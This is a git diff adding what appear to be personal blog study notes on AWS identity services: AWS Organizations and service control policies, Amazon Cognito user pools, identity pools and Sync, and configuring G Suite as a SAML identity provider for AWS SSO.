authenticity of the token. +- For example, depending on the provider, +- AWS might make a call to the provider and include the token that the app has passed. +- Assuming that the identity provider validates the token, AWS returns the following information to you: + +``` +A set of temporary security credentials +- an access key ID, a secret access key, and a session token. + +The role ID and the ARN of the assumed role. + +A SubjectFromWebIdentityToken value that contains the unique user ID. +``` + + +When you have the temporary security credentials, you can use them to make AWS API calls. +- same process as making an AWS API call with long-term security credentials. +- The difference is that you must include the session token, which lets AWS verify that the temporary security credentials are valid. + +Your app should cache the credentials. +- As noted, by default the credentials expire after an hour. +- If you are not using the AmazonSTSCredentialsProvider operation in the AWS SDK, it's up to you and your app to call AssumeRoleWithWebIdentity again. +- Call this operation to get a new set of temporary security credentials before the old ones expire. + + + + +. diff --git a/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-AWS-organizations.md b/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-AWS-organizations.md new file mode 100644 index 00000000000..a5d788b3bf5 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-AWS-organizations.md @@ -0,0 +1,272 @@ +--- +title: AWS - IdenAccessManage - AWS Organizations and SCP +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage] +toc: true +image: +--- + +[toc] + +--- + +# AWS Organizations + +- an account management service. + +![xFQwzro](https://i.imgur.com/naqy9zK.png) + +AWS Organizations enables you to: + +- **policy-based account management**: + - Create  service control policies (SCPs)  that centrally control AWS services across multiple AWS accounts. + + +- **group-based account management**: + - Create groups of accounts and then attach policies to a group to ensure that the correct policies are applied across the accounts. + + +- **Simplify account management by using application programming interfaces (APIs)**  + - automate the creation and management of new AWS accounts. + - Reduced admin overhead + + +- **Simplify the billing process** + - set up single payment method for all AWS accounts in organization. + - consolidated billing : + - combined view of charges off all accounts, take advantage of pricing benefits from aggregated usage.  + - Reserved purchases can be used by member accounts. + - provides a central location to manage billing across all AWS accounts, and benefit from volume discounts. + + + +--- + + +## benefits of using AWS Organizations + +- to consolidate multiple AWS accounts into an organization and centrally manage + - An OU is a container for accounts with a root. + - on OU can have different account inside. + - An OU can contain other OUs. + - An OU can have only one parent + - account can be a member of exactly one OU, 1v1 + + - An organization has one master account along with zero or more member accounts. + - each account can be located directly in the root, or placed in one of the OUs in the hierarchy. + - The root is the parent container for all the accounts for your organization. + + +- Organization permissions overrule account permissions . hierarchical grouping of accounts + - group accounts into organizational units(OUs) and attach different access policies to each OU. + - integrates with and supports IAM. + - provides  service control policies (SCPs) + - centrally apply policy-based controls across multiple accounts in the AWS Cloud. + - administrator of the master account of an organization, can restrict which AWS services the users and roles in each member account can access. + - apply policy to the root, it applies to all the organizational unit and accounts in the organization + - attach a policy to one of the nodes in the hierarchy, it flows down and it affects all the branches and leaves. + - This restriction overrides the administrators of member accounts in the organization + - When Organizations blocks access to a service or action for a member account, + - a user or role in that account can't access any prohibited service or action, + - even if an administrator of a member account explicitly grants such permissions in an IAM policy. + - Integration and sepport for AWS IAM. + - can attach a policy to an account to apply controls to only that one account + - IAM provides granular control over users and roles in individual accounts. + - Organizations expands that control to the account level , control over what users and roles in an account or a group of accounts can do. + - The resulting permissions are the logical intersection of what is allowed by Organizations at the account level, and what permissions are explicitly granted by IAM at the user or role level within that account. + - the user can access only what is allowed by both Organizations policies and IAM policies + - If either blocks an operation, the user can't access that operation. + + +- set up **role switching** functionality + - newly linked account + - An IAM user from the other account not necessary because your current IAM user will be displayed in the member account and the permissions are assumed via the member accounts IAM role. + - `OrganizationAccountAccessRole` as the role + - The account ID of the member account is needed when switching roles to the linked account. + - The display name of the role will help you identify the account you are in. + + +- Consolidated billing and account management + - better meet the budgetary, security, and compliance needs of your business. + + +- Organizations integrate with other Amazon web services + - enable select Amazon web services to access accounts in organization and perform actions on the resources in the accounts. + - For this service to work, all accounts in an organization have a service-linked role that enables AWS Organizations to create other service-linked roles. + - These other roles are required by the AWS services that you configure to perform organizational-level tasks. + - When you configure another service and authorize it to integrate with your organization, Organizations creates an IAM service-linked role in each member account. + - The additional service-linked role: + - predefined IAM permissions + - allow the other service to perform specific tasks in your organization's accounts. + - come with policies + - enable the specified service to perform only tasks that are required by your configuration choices. + + +- Data replication with eventual consistency 最终一致性, distributed computing model, + - Any change that you make in Organizations takes time to become visible from all possible endpoints. + - Some of the delay results from the time it takes to send the data from server to server, or from replication zone to replication zone. + +- uses caching to improve performance + - but in some cases this can add time. + - The change might not be visible until the previously cached data times out. + +- Design your global applications to account for these potential delays and ensure that they work as expected, even when a change made in one location is not instantly visible at another. + +--- + +### organization master account +- can + - create accounts in the organization, + - invite other existing accounts to the organization, + - remove accounts from the organization, + - manage invitations, + - and apply policies to entities within the organization, such as roots, OUs, or accounts. +- An account can be a member of only one organization at a time. +- has the responsibilities of a payer account + - responsible for paying all charges that are accrued by the member accounts. +- If you previously had a Consolidated Billing family of accounts, + - your accounts were migrated to a new organization in AWS Organizations + - the payer account in your Consolidated Billing family has become the master account in your organization. + - All linked accounts in the Consolidated Billing family become member accounts in the organization, and continue to be linked to the master account. + - Your bills continue to reflect the relationship between the payer account and the linked accounts. + +--- + +### invitation +- the process of asking another account to join your organization. + +- invitation can be issued only by the organization's master account , and it’s extended to either the account ID or email address that is associated with the invited account. + - After the invited account accepts an invitation, it becomes a member account in the organization. + +- Invitations also can be sent to all current member accounts when the organization needs all members to approve the change from `supporting only consolidated billing features` to `supporting all features in the organization`. + +- Invitations work by accounts exchanging handshakes + - might not see handshakes in AWS Organizations console, + - if use the AWS CLI, or AWS Organizations API must work directly with handshakes + - A handshake + - a multi-step process + - exchanging information between two parties. + - One of its primary uses in AWS Organizations is to serve as the underlying implementation for invitations. + - Handshake messages are passed between and responded to by the handshake initiator and the recipient so that it ensures that both parties always know the current status. + - Handshakes are also used when you change the organization from `supporting only consolidated billing features` to `supporting all features that Organizations offer`. + + + +--- + + +# SCP Service Control Policy + +> The specified actions from an attached SCP affect all IAM users, groups, and roles for an account, +> including the AWS account root user !!!!!!!! + +- one type of policy that can use to manage organization + - Attaching an SCP to an AWS Organizations entity (root, OU, or account) defines a guardrail for what actions the principals can perform. + +- policy that specifies the services and actions that users/roles can use in the accounts that the SCP affects. + +- can limit account usage to organizational units or linked accounts. + + +- enables permission controls , similar to IAM permissions policies + - almost the same syntax, use JSON + - but SCP policies never grants permissions + - it specify the maximum permissions for an organization or OU. + - SCPs are filters that allow only the specified services and actions to be used in affected accounts. + - overwrite the admin permissions + - Even if a user is granted full administrator permissions with an IAM permission policy, + - offer central control over the maximum available permissions for all accounts in organization, ensure accounts stay in organization’s access control guidelines. + - any access that is not explicitly allowed or is explicitly denied by the SCPs that affect that account is blocked. + +- restrict a root user of an Organization Unit account + - defines a safeguard for the actions that accounts in the organization root or OU can do. + - Attaching an SCP to the organization root/unit (OU) + - Log in to the master account and `create the SCP` + - `Select the Organizational Unit` + - `Enable the SCP` for the Organizational Unit + - SCPs are not automatically enabled; + - `Attach the SCP to the member account` within the Organizational Unit + +- not a substitute for well-managed each account + - still need to attach IAM policies to users and roles in organization's accounts to actually grant permissions to them. + - IAM Identity policy + - policy attached to an identity in IAM + - less overhead to use a SCP for the entire AWS account. + - identity policies can be attached only to IAM Users in your account. + + + +- `FullAWSAccess` + - a service control policy + - allows users to access services/resources on an attached account. + - allows access to all AWS services within an attached member account + +- SCPs are available only when you enable all features in your organization. + - has all features enabled, + - including consolidated billing. + + +> For example +> - SCP: allows only database service access to "database" account +> - any user, group, or role in that account is denied access to any other service's operations. + +- **You can attach an SCP to the following entities**: + - A root: affects all accounts in the organization + - An OU: affects all accounts in that OU and all accounts in any OUs in that OU subtree + - Or an individual account + + + + +--- + + +## SCPs vs IAM Identity policy + +> AWS Organizations does not replace but associating AWS Identity and Access Management (IAM) policies with users, groups, and roles within an AWS account. + +With IAM policies +- can allow or deny access to + - AWS services (such as Amazon S3) + - individual AWS resources (such as a specific S3 bucket) + - or individual API actions (such as s3:CreateBucket) +- An IAM policy can applied only to `IAM users, groups, or roles`, +- but can never restrict the AWS account root user + +In contrast, with Organizations, +- use service control policies (SCPs) to allow or deny access to particular AWS services for `individual AWS accounts` or `groups of accounts in an OU`. +- The specified actions from an attached SCP affect `all IAM users, groups, and roles` for an account, +- including the AWS account root user + + + + + + +--- + +## AWS Organizations Setup + +![3A0C5If](https://i.imgur.com/DHrovFl.png) + +--- + + +## access AWS Organizations + +![fopYerU](https://i.imgur.com/RMGqWu0.png) + +- **AWS Management Console**: + - browser-based interface to manage organization and AWS resources. + - You can perform any task in your organization by using the console. +- **AWS Command Line Interface(AWS CLI)**: + - issue commands at your system's command line to perform AWS Organizations tasks and AWS tasks. + - faster and more convenient than using the console. +- **AWS software development kits (SDKs)**: + - to handle tasks such as cryptographically signing requests, managing errors, and retrying requests automatically. + - AWS SDKs consist of libraries and sample code for various programming languages and platforms (Java, Python, Ruby, .NET, iOS, and Android). +- **AWS Organizations HTTPS Query API**: + - programmatic access to AWS Organizations and AWS. + - use the API to issue HTTPS requests directly to the service. + - to use HTTPS API, must include code to digitally sign requests by using your credentials. diff --git a/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-Amazon-Cognito.md b/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-Amazon-Cognito.md new file mode 100644 index 00000000000..2de096f125c --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-Amazon-Cognito.md @@ -0,0 +1,395 @@ +--- +title: AWS - IdenAccessManage - Amazon Cognito +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage] +toc: true +image: +--- + +[toc] + +--- + +# Amazon Cognito + +![Cognito](https://i.imgur.com/QqV5Uoe.png) + + web identity federation +- allows user to authenticate with a web identity ptovider (google, facebook) +- the user authenticates first with the web id provider and receives and authentication token, and use it to exchanged for temporary AWS credenticals allowing them to assume an IAM role. + + +Amazon Cognito provide web identity federation with the following features: + +1. Simple and Secure User Sign-Up, Sign-In, and get access for guest users to web and mobile apps. + +2. provides authentication, authorization, and user management for web and mobile apps . + +3. actes as an identity broker between app and web id providers + - no additional code + - no credentials is stored on the devices. + +4. Access Control to AWS resources from your application. + - define roles and map users to different roles, + - so application can access only the resources that are authorized for each user. + +5. seamless experience across devices with Push Synchronization function. + - syncs user data for a seamless experience across your devices. + - use Push Synchronization to send a silent push notification of user data updates to multiple devices associated with a user ID. + +6. uses common identity management standards, such as Security Assertion Markup Language (SAML) 2.0 . + - SAML: open standard for exchanging identity and security information with applications and service providers. + - Applications and service providers that support SAML enable you to `sign in by using your corporate directory credentials` (user name and password from Microsoft Active Directory) + - With SAML, you can use single sign-on (SSO) to sign in to all of your SAML-enabled applications by using a single set of credentials. + +7. meet multiple security and compliance requirements, including requirements for highly regulated organizations such as healthcare companies and merchants. + - eligible for use with the `US Health Insurance Portability and Accountability Act (HIPAA)`. + - for workloads that are compliant with the `Payment Card Industry Data Security Standard(PCI DSS)`; `the American Institute of CPAs (AICPA)`, `Service Organization Control (SOC)`; `the International Organization for Standardization (ISO)` `and International Electrotechnical Commission (IEC)` `standardsISO/IEC 27001`, `ISO/IEC 27017`, and `ISO/IEC 27018`; and `ISO 9001` + + +--- + + +## Secure and scalable user directory + +![scenario-authentication-cup](https://i.imgur.com/R0SLuZ1.png) + +![Screen Shot 2020-12-25 at 14.19.01](https://i.imgur.com/UK7uxxF.png) + +- The two main components of Amazon Cognito are user pools and identity pools . + - can use identity pools and user pools separately or together. + - ![Screen Shot 2020-12-25 at 14.10.07](https://i.imgur.com/nGMQv12.png) +--- + +### user pools + + +- secure user directories + - can scales to hundreds of millions of users. +- provide sign-up and sign-in options for web and mobile app users. +- fully managed service, set up without any worries about standing up server infrastructure. +- user can sign in directly to the user pool, or indirectly via an iderntity provider. + + +1. Getting Started with User Pools + - Prerequisite: Sign Up for an AWS Account + - Step 1. Create a User Pool + - ![User Pool](https://i.imgur.com/eSKnfun.png) + - Step 2. Add an App to Enable the Hosted Web UI + - ![App client](https://i.imgur.com/GewXuXa.png) + - `callbackURL`: url redirect after user authentication. + - `Authorization code grant` cognito give back a authorization code which can provide back to the backend authorization process. + - `Implicit grant`: JWT token + - Step 3. Add Social Sign-in to a User Pool (Optional) + - Step 4. Add Sign-in with a SAML Identity Provider to a User Pool (Optional) + +--- + +### Identity pools (federated identities) + +- create unique identities for your users +- and assign permissions for users. +- and federate them with identity providers. +- then obtain temporary, limited-privilege AWS credentials with permissions pre-define to directly access other AWS services or to access resources through Amazon API Gateway. + + +Identity pool can include: +- Users in an Amazon Cognito user pool +- Users authenticate by external identity providers (Facebook, Google, Apple), or a SAML-based identity provider +- Users authenticated via your own existing authentication process + + +Amazon Cognito identity pools support the following identity providers: +- Public providers: Login with Amazon (Identity Pools), Facebook (Identity Pools), Google (Identity Pools), Sign in with Apple (Identity Pools). +- Amazon Cognito User Pools +- Open ID Connect Providers (Identity Pools) +- SAML Identity Providers (Identity Pools) +- Developer Authenticated Identities (Identity Pools) + +--- + +#### Identity Pools (Federated Identities) Authentication Flow + +**Enhanced (Simplified) Authflow** +- GetId +- GetCredentialsForIdentity + +![amazon-cognito-ext-auth-enhanced-flow](https://i.imgur.com/d96X1nI.png) + +**Basic (Classic) Authflow** +- GetId +- GetOpenIdToken +- AssumeRoleWithWebIdentity + +![amazon-cognito-ext-auth-basic-flow](https://i.imgur.com/yvlAZQW.png) + + + +**Developer Authenticated Identities Authflow** +- When using Developer Authenticated Identities (Identity Pools), the client will use a different authflow that will include code outside of Amazon Cognito to validate the user in your own authentication system. +- Code outside of Amazon Cognito is indicated as such. + +Enhanced Authflow +- Login via Developer Provider (code outside of Amazon Cognito) +- Validate the user's login (code outside of Amazon Cognito) +- GetOpenIdTokenForDeveloperIdentity +- GetCredentialsForIdentity + +![amazon-cognito-dev-auth-enhanced-flow](https://i.imgur.com/vamWrTi.png) + +Basic Authflow +- Login via Developer Provider (code outside of Amazon Cognito) +- Validate the user's login (code outside of Amazon Cognito) +- GetOpenIdTokenForDeveloperIdentity +- AssumeRoleWithWebIdentity + +![amazon-cognito-dev-auth-basic-flow](https://i.imgur.com/6OkCmr9.png) + + +--- + +## Amazon Cognito Sync + +Amazon Cognito Sync is an AWS service and client library that enables cross-device syncing of application-related user data. +- You can synchronize user profile data across mobile and web without requiring your own backend. +- Amazon Cognito Sync Server & Client + + +The client libraries cache data locally so your app can read and write data regardless of device connectivity status. +- When the device is online, you can synchronize data, and if you set up `push sync`, notify other devices immediately that an update is available. + + +step: +1. Sign Up for an AWS Account +2. Set Up an Identity Pool in Amazon Cognito + - Amazon Cognito Sync requires an Amazon Cognito identity pool to provide user identities. Thus you need to first set up an identity pool before using Amazon Cognito Sync. +3. Store and Sync Data + +--- + + +### Synchronizing Data + +Amazon Cognito lets you save end user data in datasets containing key-value pairs . +- This data is associated with an Amazon Cognito identity, so that it can be accessed across logins and devices. +- To sync this data between the Amazon Cognito service and an end user’s devices, invoke the synchronize method. +- Each dataset can have a maximum size of 1 MB. You can associate up to 20 datasets with an identity. + +The `Amazon Cognito Sync client` creates a local cache for the identity data. +- Your app talks to this local cache when it reads and writes keys. + - This guarantees that all changes on the device are immediately available on the device, + - even when offline. +- When the synchronize method is called, + - changes from the service are pulled to the device, + - and any local changes are pushed to the service. +- At this point the changes are available to other devices to synchronize. + + +--- + +### setup Synchronize code + +1. Initializing the Amazon Cognito Sync Client + - first need to create a credentials provider + - The credentials provider acquires temporary AWS credentials to enable your app to access your AWS resources. + - also need to import the required header files. + +2. Understanding Datasets + - With Amazon Cognito, end user profile data is organized into `datasets`. + - Each dataset can contain up to 1MB of data in the form of key-value pairs. + - A dataset is the most granular entity on which you can perform a sync operation. + - Read and write operations performed on a dataset only affect the local store until the synchronize method is invoked. + - A dataset is identified by a unique string. + - You can create a new dataset or open an existing one as shown in the following. + +3. delete a dataset + - first call the method to remove it from local storage, + - then call the synchronize method to delete the dataset from Amazon Cognito: + +4. Reading and Writing Data in Datasets + - Amazon Cognito datasets function as dictionaries, with values accessible by key. + - The keys and values of a dataset can be read, added, or modified just as if the dataset were a dictionary. + - that values written to a dataset only affect the local cached copy of the data until you call the synchronize method. + +5. Synchronizing Local Data with the Sync Store +Android + - The synchronize method compares local cached data to the data stored in the Amazon Cognito Sync store + - Remote changes are pulled from the `Amazon Cognito Sync store`; + - conflict resolution is invoked if any conflicts occur; + - and updated values on the device are pushed to the service. + + + +```java +// Android + +// to initialize the Amazon Cognito Sync client. +import com.amazonaws.mobileconnectors.cognito.*; +CognitoSyncManager client = new CognitoSyncManager( + getApplicationContext(), + Regions.YOUR_REGION, + credentialsProvider); + +// setup Datasets +Dataset dataset = client.openOrCreateDataset("datasetname"); + +// delete a dataset +dataset.delete(); // remove it from local storage, +dataset.synchronize(syncCallback); //delete the dataset from Amazon Cognito: + +// Reading and Writing Data in Datasets +String value = dataset.get("myKey"); +dataset.put("myKey", "my value"); + +// synchronize a dataset +dataset.synchronize(syncCallback); +// The synchronize method receives an implementation of the SyncCallback interface, discussed below. +// The synchronizeOnConnectivity() method attempts to synchronize when connectivity is available. +// If connectivity is immediately available, synchronizeOnConnectivity() behaves like synchronize(). +// Otherwise it monitors for connectivity changes and performs a sync once connectivity is available. +// If synchronizeOnConnectivity()is called multiple times, only the last synchronize request is kept, and only the last callback will fire. If either the dataset or the callback is garbage-collected, this method won't perform a sync, and the callback won't fire. + + + +``` + + +--- + + +### Push Sync + +Amazon Cognito automatically tracks the association between identity and devices. Using the push synchronization (push sync) feature +- ensure that every instance of a given identity is notified when identity data changes. +- ensures that whenever the sync store data changes for a particular identity, all devices associated with that identity receive a silent push notification informing them of the change + +> Note: Push sync is not supported for JavaScript, Unity, or Xamarin. + +--- +#### setup push sync + +1. Create an Amazon Simple Notification Service (Amazon SNS) App +2. Enable Push Sync in the Amazon Cognito console + - Amazon Cognito console > identity pool for which you want to enable push sync > Dashboard > Manage Identity Pools + - The Federated Identities page appears > click Push synchronization to expand it > Service role dropdown menu + - select IAM role that grants Cognito permission to send an SNS notification + - configure the IAM roles to have `full SNS access`, + - or create a new role that `trusts cognito-sync` and has `full SNS access`. + - Click Create role to create or modify the roles associated with your identity pool in the AWS IAM Console. + - Select a platform application > Save Changes. + - Grant SNS Access to Your Application + +> Amazon SNS is used to send a silent push notification to all the devies associated with a given user identity whenever data stored in the cloud changed. + + +--- + +## AWS AppSync + +If new to Amazon Cognito Sync, use AWS AppSync. Like Amazon Cognito Sync, AWS AppSync is a service for synchronizing application data across devices. + + +It enables user data like app preferences or game state to be synchronized. It also extends these capabilities by allowing multiple users to synchronize and collaborate in real time on shared data. + +--- + + +## security + +--- + + +### data protection +For data protection purposes, recommend that +- protect AWS account credentials +- set up individual user accounts with AWS IAM. +- given only the permissions necessary for job duties +- Use multi-factor authentication (MFA) with each account. +- Use SSL/TLS to communicate with AWS resources. +- Set up API and user activity logging with AWS CloudTrail. +- Use AWS encryption solutions, along with all default security controls within AWS services. +- Use advanced managed security services such as Amazon Macie, which assists in discovering and securing personal data that is stored in Amazon S3. +- never put sensitive identifying information, such as customers' account numbers, into free-form fields such as a Name field. + - This includes when you work with Amazon Cognito or other AWS services using the console, API, AWS CLI, or AWS SDKs. + - Any data that you enter into Amazon Cognito or other services might get picked up for inclusion in diagnostic logs. + - When you provide a URL to an external server, don't include credentials information in the URL to validate your request to that server. + + +### use Amazon Resource Names (ARNs) + + +1. ARNs for Amazon Cognito Federated Identities + - restrict an IAM user's access to a specific identity pool, using the Amazon Resource Name (ARN) format + - arn:aws:**cognito-identity**:`REGION:ACCOUNT_ID`:identitypool/`IDENTITY_POOL_ID` + + +2. ARNs for Amazon Cognito Sync + - customers can also restrict access by the identity pool ID, identity ID, and dataset name. + - For APIs that operate on an identity pool, the identity pool ARN format is the same as for Amazon Cognito Federated Identities, except that the service name is cognito-sync instead of cognito-identity: + - arn:aws:**cognito-sync**:`REGION:ACCOUNT_ID`:identitypool/`IDENTITY_POOL_ID` + - For APIs that operate on a single identity, such as RegisterDevice, refer to the individual identity by the following ARN format: + - arn:aws:**cognito-sync**:`REGION:ACCOUNT_ID`:identitypool/`IDENTITY_POOL_ID`/identity/`IDENTITY_ID` + - For APIs that operate on datasets, such as UpdateRecords and ListRecords, refer to the individual dataset using the following ARN format: + - arn:aws:**cognito-sync**:`REGION:ACCOUNT_ID`:identitypool/`IDENTITY_POOL_ID`/identity/`IDENTITY_ID`/dataset/`DATASET_NAME` + +3. ARNs for Amazon Cognito User Pools + - restrict an IAM user's access to a specific user pool + - arn:aws:**cognito-idp**:`REGION:ACCOUNT_ID`:userpool/`USER_POOL_ID` + + + +### Logging in and Monitoring in Amazon Cognito + +Monitoring is an important part of maintaining the reliability, availability, and performance of Amazon Cognito and your other AWS solutions. + +Amazon Cognito currently supports the following two AWS services +- Amazon CloudWatch Metrics + - monitor, report and take automatic actions in case of an event in near real time. + - For example + - create CloudWatch dashboards on the provided metrics to monitor your Amazon Cognito user pools + - create CloudWatch alarms on the provided metrics to notify you on breach of a set threshold. + +- AWS CloudTrail + - capture API calls from the Amazon Cognito console and from code calls to the Amazon Cognito API operations. + - For example + - when a user authenticates, CloudTrail can record details such as the IP address in the request, who made the request, and when it was made. + + +### Infrastructure Security in Amazon Cognito + +use AWS published API calls to access Amazon Cognito through the network. +- Clients must support Transport Layer Security (TLS) 1.0 or later. We recommend TLS 1.2 or later. +- Clients must also support cipher suites with perfect forward secrecy (PFS) such as Ephemeral Diffie-Hellman (DHE) or Elliptic Curve Ephemeral Diffie-Hellman (ECDHE). +- Most modern systems such as Java 7 and later support these modes. +- requests must be signed using an access key ID and a secret access key that is associated with an IAM principal. +- Or use the AWS Security Token Service (AWS STS) to generate temporary security credentials to sign requests. + +### Security Best Practices for Amazon Cognito User Pools + +- add multi-factor authentication (MFA) to a user pool to protect the identity of your users. choose to use SMS text messages, or time-based one-time (TOTP) passwords + +- user pool advanced security features + - protections against compromised credentials + - detect if a user’s credentials (user name and password) have been compromised elsewhere. + - This can happen when users reuse credentials at more than one site, or when they use passwords that are easy to guess. + - adaptive authentication + - use adaptive authentication with its risk-based model to predict when you might need another authentication factor. + - configure user pool to block suspicious sign-ins or add second factor authentication in response to an increased risk level. + - For each sign-in attempt, Amazon Cognito generates a risk score for how likely the sign-in request is to be from a compromised source. + - This risk score is based on many factors + - including whether it detects a new device, user location, or IP address. + - Adaptive Authentication adds MFA based on risk level for users who don't have an MFA type enabled at the user level. + - When an MFA type is enabled at the user level, those users will always receive the second factor challenge during authentication regardless of how you configured adaptive authentication. + +- Amazon Cognito publishes sign-in attempts, their risk levels, and failed challenges to Amazon CloudWatch. + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-Gsuite.md b/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-Gsuite.md new file mode 100644 index 00000000000..0f0d3ebfe1a --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-Gsuite.md @@ -0,0 +1,337 @@ +--- +title: AWS - IdenAccessManage - Setup the GSuite for AWS SSO +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, SSO] +toc: true +image: +--- + +[toc] + +--- + +# G Suite for AWS SSO + +--- + +## use G Suite as an external identity provider for AWS SSO + +connect AWS SSO to G Suite, allowing users to access AWS accounts with their G Suite credentials. + +![1_6oXNkTw5nxNT2rWCnx-sXg](https://i.imgur.com/p0IdHp1.png) + +grant access by assigning `G Suite users` to `accounts governed by AWS Organizations`. The user’s permissions in an account are determined by `permission sets defined in AWS SSO`. +- to define and grant permissions based on the user’s job function (such as administrator, data scientist, or developer). +- should follow the least privilege principle, granting only permissions that are necessary to perform the job. +- This way, centrally manage user accounts for your employees in the Google Admin console and have fine-grained control over the access permissions of individual users to AWS resources. + + +AWS SSO authenticates G Suite users by using `Security Assertion Markup Language (SAML) 2.0 authentication`. +- open standard for secure exchange of authentication and authorization data between IdPs and service providers without exposing users’ credentials. + +use AWS as a service provider and G Suite as an external IdP, the login process: + +![G-Suite-AWS-SSO-Figure-1](https://i.imgur.com/8soueNu.png) + +Figure 1: AWS SSO authentication flow + +1. user with a G Suite account opens the link to the `AWS SSO user portal` of your AWS Organizations. +2. If the user isn’t already authenticated, they will be redirected to the G Suite account login. The user will log in using their G Suite credentials. +3. If the login is successful, a response is created and sent to AWS SSO. +1. It contains three different types of SAML assertions: +2. `authentication, authorization, and user attributes`. +4. When AWS SSO receives the response, the user’s access to the AWS SSO user portal is determined. A successful login shows accessible AWS accounts. +5. The user selects the account to access and is redirected to the AWS Management Console. +6. The user journey starts at the AWS SSO user portal and ends with the access to the AWS Management Console. +1. users experience a unified access to the AWS Cloud, and you don’t have to manage user accounts in AWS Identity and Access Management (IAM) or AWS Directory Service. + +User permissions in an AWS account are controlled by `permission sets` and `groups` in AWS SSO. +- A permission set is a collection of administrator-defined policies that determine a user’s effective permissions in an account. +- They can contain AWS managed policies or custom policies that are stored in AWS SSO, and are ultimately created as IAM roles in a given AWS account. +- users assume these roles when they access a given AWS account and get their effective permissions. +- This obliges you to fine control the access to the accounts, following the shared-responsibility model established in the cloud. + +to use G Suite to authenticate and manage users, it create `user entity` in AWS SSO. +- The `user entity` is not user account, but a logical object. +- It maps a `G Suite user` via its primary email address as the username to the user account in AWS SSO. +- The `user entity` in AWS SSO allows you to grant a G Suite user access to AWS accounts and define its permissions in those accounts. + +--- + +## AWS SSO initial setup +The AWS SSO service has some prerequisites. + +--- + +### 1. Set up AWS Organizations with All features set to enabled, +![G-Suite-AWS-SSO-Figure-2](https://i.imgur.com/T75Z2p1.png) + +#### 1.1. Beginning the process to enable all features + +1. use master account to sign in to the [AWS Organizations console](https://console.aws.amazon.com/organizations/) +2. Settings tab -> **`Begin process to enable all features`**. + +> Note: +> +> To enable all features in your organization, must have the following permission: +> `organizations:EnableAllFeatures` +> +> cannot return to only consolidated billing features after you switch by choosing Begin process to enable all features. + +3. AWS Organizations sends a request to every invited (not created) account in the organization asking for approval to enable all features in the organization. + 1. If you have any accounts that were created using AWS Organizations and the member account administrator deleted the `service-linked role` named `AWSServiceRoleForOrganizations`, AWS Organizations sends that account a request to recreate the role. +4. the status of the requests -> **`View all feature request approval status`**. + 1. shows the current request status for each account in the organization. + 2. Accounts that have agreed: green check mark and show the Acceptance date. + 3. Accounts that haven't yet agreed: yellow exclamation point icon and show the date that the request was sent with a status of **Open**. + +> A countdown of 90 days begins when the request is sent to the member accounts. + +1. If an account doesn't approve its request, select the account on this page and then choose Remove. +2. This cancels the request for the selected account + 1. and removes that account from the organization, + 2. eliminating the blocker to enabling all features. + +#### 1.2. Approving the request to enable all features or to recreate the service-linked role +1. Sign in to the [AWS Organizations console](https://console.aws.amazon.com/organizations/) +2. Read what accepting the request for all features in the organization means for your account, and then choose **Accept** + +> Note: +> +> the master account in the organization can apply `policy-based controls` on your member account. +> +> These controls can restrict what users and even what you as the administrator can do in your account. +> +> Such restrictions might prevent your account from leaving the organization. +> +3. Minimum permissions to approve a request to enable all features for your member account, you must have the following permissions: + 1. `organizations:AcceptHandshake` + 2. `iam:CreateServiceLinkedRole` – Required only if the `AWSServiceRoleForOrganizations` role must be recreated in the member account + +#### 1.3. Finalizing the process to enable all features +1. master account: +2. After all accounts accept the request to enable all features, choose **`Finalize process to enable all features`**. +3. When asked to confirm, choose **`Finalize process to enable all features`** again. +4. The organization now has all features enabled. +5. The next step is to enable the policy types that you want to use. + +--- + +### 2. Set up an external identity provider in AWS SSO + +1. AWS SSO is enabled, connect an identity source, select `Choose your identity source`. + +> ![G-Suite-AWS-SSO-Figure-3](https://i.imgur.com/CZnS5RP.png) + +2. Settings > Identity source > `Change`. + +> ![G-Suite-AWS-SSO-Figure-4](https://i.imgur.com/fuClg8z.png) + +3. switch to an `external identity provider` + 1. By default, AWS SSO uses its own directory as the identity provider. + 1. To use G Suite as your identity provider, switch to an `external identity provider` from the available identity sources. + +> ![G-Suite-AWS-SSO-Figure-5](https://i.imgur.com/cDvS5sA.png) + + +4. Choose `Show individual metadata values` to show the information need to configure a custom SAML application. + +> ![G-Suite-AWS-SSO-Figure-6](https://i.imgur.com/RqPld80.png) + +5. don't close the window, after **next step: G Suite SAML application setup**, it will provide a file for IdP SMAL metadata. + +--- + +### 3. G Suite SAML application setup + +witch to [Google Admin console](https://admin.google.com/) and use the service provider metadata information to configure AWS SSO as a custom SAML application. + + + +#### 3.0. add custom attributes to user + +1. `G Suite administration page`, add custom attributes to our users +2. create a `custom attribute class` called `“AWS SAML”` + +> ![1_35L1hXbWuckFFIaTCnz7rQ](https://i.imgur.com/8Y7SiO5.png) + +3. create the attributes `“IAM Role”` and `“SessionDuration”` + +> ![1_e6HGhVF76OpnS_ZXFI938g](https://i.imgur.com/E5GDlsx.png) + + +#### 3.1 configure a custom SAML application in G Suite + +1. `Admin console` > `Apps` > `SAML Apps` > choose `Add a service/App to your domain`. + +> ![G-Suite-AWS-SSO-Figure-7](https://i.imgur.com/GY5QK7W.png) + +2. In the modal dialog that opens, choose `SETUP MY OWN CUSTOM APP`. + +> ![G-Suite-AWS-SSO-Figure-8s](https://i.imgur.com/9cgRnsg.png) + +3. Go to Option 2 and choose `Download` + +> ![G-Suite-AWS-SSO-Figure-9s](https://i.imgur.com/Hy5jIdF.png) +> +> 1. it is Google IdP metadata, downloads an XML file named `GoogleIDPMetadata-your_domain.xml` +> 2. will use it to configure G Suite as the IdP in AWS SSO. +> 4. Choose Next. + +> WARNING!!! The contents of this file should not be released for any reason; the security of the entire solution relies on its remaining confidential! + +4. Configure the name and description of the application. + 1. application name: `AWS SSO` or any. + 2. Choose Next + +> 